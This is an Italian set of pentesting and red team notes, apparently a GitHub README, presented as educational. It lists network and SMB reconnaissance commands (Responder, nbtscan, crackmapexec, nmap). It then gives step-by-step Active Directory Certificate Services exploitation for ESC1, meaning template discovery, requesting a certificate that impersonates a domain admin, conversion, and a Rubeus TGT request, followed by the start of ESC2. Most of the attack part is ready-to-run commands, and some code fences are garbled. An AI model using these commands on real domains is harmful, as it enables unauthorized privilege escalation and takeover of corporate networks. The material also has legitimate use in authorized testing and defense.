
Note ed esperimenti di RedTeam/Pentest testati su diverse infrastrutture relative a incarichi professionali.
Note accessibili pubblicamente sui miei esperimenti di pentesting/red teaming testati su diversi ambienti/infrastrutture controllati che coinvolgono l'uso di vari strumenti e tecniche utilizzati da penetration tester e redteam durante una valutazione di sicurezza.
Accogliamo contributi tramite pull request su GitHub.
Complimenti e grazie alle persone che hanno fatto il lavoro duro
Disclaimer
Solo a scopo educativo, usalo a tuo rischio.
Raccoglie informazioni sul nome del dominio e sulla macchina Windows in esecuzione nella rete.```bash bash$ cd /usr/share/Responder/tools bash$ sudo python RunFinger.py -i 192.168.1.1/24
oppure```bash
bash$ responder-RunFinger
Scansione delle reti IP per informazioni sui nomi NetBIOS.```bash bash$ sudo nbtscan -v -s : 192.168.1.0/24
## Crackmapexec v 4.0
Scansiona il range di rete basandosi sulle informazioni SMB```bash
bash$ cme smb 192.168.1.1/24
Scansiona tutta la rete della macchina e salva gli output .
Scansione rapida```bash bash$ nmap -p 1-65535 -sV -sS -T4 -oA output target_IP
Scansione intensiva (Non raccomandata):```bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP
Scansiona con enumerazione della versione dei servizi in esecuzione :
## Angry IP scanner
Scarica lo strumento da questo link:
[Angry IP Scanner](http://angryip.org/download/#linux)
* Modifica le impostazioni delle preferenze
> Vai a: Preferenze -> Porte -> aggiungi 80,445,554,21,22 nella selezione delle porte <br>
> Vai a: Preferenze -> Visualizzazione -> seleziona Host Attivi <br>
> Vai a: Preferenze -> Ping -> seleziona Combinato (UDP/TCP)
# Movimento Laterale e Sfruttamento
### Active Directory Certificate Services
Questa parte è stata copiata da https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates
<br>Per maggiori dettagli controlla: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
(Testato su ambiente privato (Bloodhound poi exploit ESC1))
* Trova il server ADCS
* `crackmapexec ldap domain.lab -u username -p password -M adcs`
* `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* Enumera le CA aziendali AD con certutil: `certutil.exe -config - -ping`, `certutil -dump`
#### ESC1 - Modelli di Certificato Malconfigurati
> Gli utenti del dominio possono registrarsi nel modello **VulnTemplate**, che può essere utilizzato per l'autenticazione client e ha impostato **ENROLLEE_SUPPLIES_SUBJECT**. Ciò permette a chiunque di iscriversi a questo modello e specificare un Nome Alternativo del Soggetto (SAN) arbitrario (ad es. come DA). Consente di associare identità aggiuntive a un certificato oltre al Soggetto.
Requisiti:
* Modello che consente l'autenticazione AD
* Flag **ENROLLEE_SUPPLIES_SUBJECT**
* [PKINIT] Autenticazione Client, Accesso Smart Card, Qualsiasi Scopo o Nessun EKU (Utilizzo Chiave Esteso/Migliorato)
Sfruttamento:
* Usa [Certify.exe](https://github.com/GhostPack/Certify) per vedere se ci sono modelli vulnerabili
```ps1
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
# or
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
# or
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
```
* Usa Certify, [Certi](https://github.com/eloypgz/certi) o [Certipy](https://github.com/ly4k/Certipy) per richiedere un Certificato e aggiungere un nome alternativo (utente da impersonare)
```ps1
# richiedi certificati per l'account macchina eseguendo Certify con l'argomento "/machine" da un prompt dei comandi elevato.
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
```
* Usa OpenSSL e converti il certificato, non inserire una password
```ps1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
* Sposta il file cert.pfx nel filesystem della macchina di destinazione e richiedi un TGT per l'utente altname usando Rubeus
```ps1
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
```
**ATTENZIONE**: Questi certificati saranno ancora utilizzabili anche se l'utente o il computer reimposta la propria password!
**NOTA**: Cerca i flag **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** e NTLM Relay agli Endpoint HTTP di AD CS.
#### ESC2 - Modelli di Certificato Malconfigurati
Requisiti:
* Consente ai richiedenti di specificare un Nome Alternativo del Soggetto (SAN) nel CSR e consente anche l'EKU Qualsiasi Scopo (2.5.29.37.0)
Sfruttamento:
* Trova il modello ```ps1
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
/altname come amministratore di dominio, come in ESC1.ESC3 si verifica quando un modello di certificato specifica l'EKU Certificate Request Agent (Enrollment Agent). Questo EKU può essere utilizzato per richiedere certificati per conto di altri utenti